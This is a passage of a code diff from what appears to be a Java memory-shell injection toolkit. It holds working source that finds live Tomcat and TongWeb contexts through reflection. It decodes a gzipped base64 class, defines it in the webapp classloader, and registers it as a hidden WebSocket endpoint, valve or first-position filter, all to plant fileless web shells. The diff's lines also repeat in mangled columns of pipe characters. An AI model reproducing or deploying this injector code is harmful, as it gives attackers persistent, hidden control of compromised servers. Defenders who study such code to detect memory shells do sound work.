if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* org.apache.catalina.core.StandardContext
|
* org.apache.catalina.core.StandardContext
|
||||||
* /usr/local/tomcat/server/lib/catalina.jar
|
* /usr/local/tomcat/server/lib/catalina.jar
|
||||||
@@ -113,6 +96,23 @@ public class TomcatUpgradeInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ public class TomcatValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -53,23 +53,6 @@ public class TomcatValveInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -107,6 +90,23 @@ public class TomcatValveInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
|||||||
@@ -0,0 +1,286 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.tomcat;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/1/13
|
||||||
|
*/
|
||||||
|
public class TomcatWebSocketByPassInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getHelperBase64String() {
|
||||||
|
return "{{helperBase64String}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public TomcatWebSocketByPassInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||||
|
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
clazz = defineShell(classLoader, getBase64String());
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
private Class<?> defineShell(ClassLoader classLoader, String base64) throws Exception {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(base64));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
return ((Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
private void inject(Object context, Object obj) throws Exception {
|
||||||
|
Object servletContext = invokeMethod(context, "getServletContext", null, null);
|
||||||
|
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
||||||
|
if (container == null) {
|
||||||
|
container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (container == null) {
|
||||||
|
throw new RuntimeException("container is null");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Object valve = defineShell(context.getClass().getClassLoader(), getHelperBase64String()).newInstance();
|
||||||
|
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||||
|
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
|
||||||
|
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||||
|
|
||||||
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
|
Class<?> serverEndpointConfigClass;
|
||||||
|
Class<?> builderClass;
|
||||||
|
try {
|
||||||
|
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
|
||||||
|
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
|
||||||
|
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
|
||||||
|
}
|
||||||
|
Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
|
||||||
|
constructor.setAccessible(true);
|
||||||
|
Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
|
||||||
|
Object endpointConfig = invokeMethod(o1, "build", null, null);
|
||||||
|
|
||||||
|
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||||
|
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||||
|
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -7,7 +7,9 @@ import java.io.PrintStream;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -41,7 +43,7 @@ public class TomcatWebSocketInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -59,23 +61,6 @@ public class TomcatWebSocketInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -113,6 +98,23 @@ public class TomcatWebSocketInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -43,7 +44,7 @@ public class TongWebFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -116,7 +117,7 @@ public class TongWebFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -149,24 +150,28 @@ public class TongWebFilterInjector {
|
|||||||
String filterClassName = getClassName();
|
String filterClassName = getClassName();
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
|
Class<?> filterMapClass;
|
||||||
Constructor<?> constructor;
|
Constructor<?> constructor;
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tongweb 7
|
// tongweb 7
|
||||||
constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e2) {
|
} catch (Exception e2) {
|
||||||
try {
|
try {
|
||||||
// tongweb 6
|
// tongweb 6
|
||||||
constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// tongweb 8
|
// tongweb 8
|
||||||
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
@@ -174,7 +179,13 @@ public class TongWebFilterInjector {
|
|||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
|
||||||
|
// addFilterMapFirst
|
||||||
|
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
|
||||||
|
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
|
||||||
|
results[0] = filterMap;
|
||||||
|
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
|
||||||
|
setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
|
||||||
|
|
||||||
constructor.setAccessible(true);
|
constructor.setAccessible(true);
|
||||||
Object filterConfig = constructor.newInstance(context, filterDef);
|
Object filterConfig = constructor.newInstance(context, filterDef);
|
||||||
@@ -221,48 +232,58 @@ public class TongWebFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
|
||||||
try {
|
|
||||||
if (paramClazz == null) {
|
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
|
||||||
} else {
|
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
|
||||||
Class<?> clazz = obj.getClass();
|
|
||||||
while (clazz != Object.class) {
|
|
||||||
try {
|
try {
|
||||||
Field field = clazz.getDeclaredField(name);
|
if (paramClazz == null) {
|
||||||
field.setAccessible(true);
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
return field.get(obj);
|
} else {
|
||||||
} catch (NoSuchFieldException var5) {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
|
Field field = getField(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getErrorMessage(Throwable throwable) {
|
private String getErrorMessage(Throwable throwable) {
|
||||||
PrintStream printStream = null;
|
PrintStream printStream = null;
|
||||||
|
|||||||
